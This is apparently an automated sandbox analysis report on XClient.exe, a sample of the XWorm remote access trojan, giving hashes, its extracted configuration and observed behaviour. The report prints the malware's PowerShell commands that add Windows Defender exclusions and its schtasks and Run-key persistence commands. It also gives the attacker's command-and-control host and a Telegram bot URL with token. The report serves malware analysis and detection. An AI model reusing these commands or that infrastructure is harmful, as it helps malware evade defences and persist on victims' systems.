Resubmissions
27/01/2025, 20:41
250127-zgfs3svqbp 1027/01/2025, 20:36
250127-zdvstsvkcy 1027/01/2025, 20:32
250127-zbph2avnfr 10Analysis
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max time kernel
109s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
27/01/2025, 20:41
Behavioral task
behavioral1
Sample
XClient.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
XClient.exe
Resource
win10v2004-20241007-en
General
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Target
XClient.exe
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Size
49KB
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MD5
9cda258445b322eb90f65b32ba86d86c
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SHA1
d86a39dcc80db9cef23fc389dbbb6951ed7f908c
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SHA256
0aca70f4574b4f593ad118de1846cb744eed48473a8fd51759c37e508d44e50f
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SHA512
f76c77b63b6e881cd6e9a436b5efe5e4a45a8e78126fcc6876ec6855ef2572ba7e9dec7200e32ddca78f232d451305f87729ee5989f3c8ed83cde53d132a1d9a
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SSDEEP
768:DaT5ryS4lEW64POSn1iQK4kb2UULNwLdVvM6wEO1hEjdoHj:GNrH+EWR5rkbzeNivM6wEO1yaj
Malware Config
Extracted
xworm
sponef159-35748.portmap.host:35748
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Install_directory
%AppData%
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install_file
svchost.exe
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telegram
https://api.telegram.org/bot7508868671:AAG6XIOhz39IrQIUnjub1TKVOVZHfdjpsvM/sendMessage?chat_id=6094400048
Signatures
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Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4720-63-0x0000000001770000-0x000000000177E000-memory.dmp disable_win_def -
Detect Xworm Payload 2 IoCs
resource yara_rule behavioral2/memory/4720-1-0x0000000000FB0000-0x0000000000FC2000-memory.dmp family_xworm behavioral2/files/0x000a000000023c95-58.dat family_xworm -
Xworm family
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Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3552 powershell.exe 4824 powershell.exe 116 powershell.exe 4884 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation XClient.exe -
Drops startup file 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk XClient.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk XClient.exe -
Executes dropped EXE 2 IoCs
pid Process 3400 svchost.exe 1052 svchost.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe" XClient.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3520 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 3552 powershell.exe 3552 powershell.exe 4824 powershell.exe 4824 powershell.exe 116 powershell.exe 116 powershell.exe 4884 powershell.exe 4884 powershell.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 4720 XClient.exe Token: SeDebugPrivilege 3552 powershell.exe Token: SeDebugPrivilege 4824 powershell.exe Token: SeDebugPrivilege 116 powershell.exe Token: SeDebugPrivilege 4884 powershell.exe Token: SeDebugPrivilege 4720 XClient.exe Token: SeDebugPrivilege 3400 svchost.exe Token: SeBackupPrivilege 3200 vssvc.exe Token: SeRestorePrivilege 3200 vssvc.exe Token: SeAuditPrivilege 3200 vssvc.exe Token: SeDebugPrivilege 1052 svchost.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4720 wrote to memory of 3552 4720 XClient.exe 82 PID 4720 wrote to memory of 3552 4720 XClient.exe 82 PID 4720 wrote to memory of 4824 4720 XClient.exe 84 PID 4720 wrote to memory of 4824 4720 XClient.exe 84 PID 4720 wrote to memory of 116 4720 XClient.exe 86 PID 4720 wrote to memory of 116 4720 XClient.exe 86 PID 4720 wrote to memory of 4884 4720 XClient.exe 88 PID 4720 wrote to memory of 4884 4720 XClient.exe 88 PID 4720 wrote to memory of 3520 4720 XClient.exe 92 PID 4720 wrote to memory of 3520 4720 XClient.exe 92 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4720 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3552
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4824
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:116
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4884
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"2⤵
- Scheduled Task/Job: Scheduled Task
PID:3520
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C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3400
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3200
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C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1052
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
654B
MD52ff39f6c7249774be85fd60a8f9a245e
SHA1684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA5121d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
944B
MD5085e0a3b869f290afea5688a8ac4e7c5
SHA10fedef5057708908bcca9e7572be8f46cef4f3ca
SHA2561fed2c9bc05b3fcb93f493124dbf1680c6445f67e3d49680257183132514509c
SHA512bbac0555a05dbe83154a90caa44a653c8a05c87594a211548b165c5b1d231e3818830e754c0b6de3e5cb64dba3a5ad18bebae05cb9157e1dd46bce2a86d18ede
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Filesize
944B
MD5ce4540390cc4841c8973eb5a3e9f4f7d
SHA12293f30a6f4c9538bc5b06606c10a50ab4ecef8e
SHA256e834e1da338b9644d538cefd70176768816da2556939c1255d386931bd085105
SHA5122a3e466cb5a81d2b65256053b768a98321eb3e65ff46353eefc9864f14a391748116f050e7482ddd73a51575bf0a6fc5c673023dade62dbd8b174442bae1cc6b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
49KB
MD59cda258445b322eb90f65b32ba86d86c
SHA1d86a39dcc80db9cef23fc389dbbb6951ed7f908c
SHA2560aca70f4574b4f593ad118de1846cb744eed48473a8fd51759c37e508d44e50f
SHA512f76c77b63b6e881cd6e9a436b5efe5e4a45a8e78126fcc6876ec6855ef2572ba7e9dec7200e32ddca78f232d451305f87729ee5989f3c8ed83cde53d132a1d9a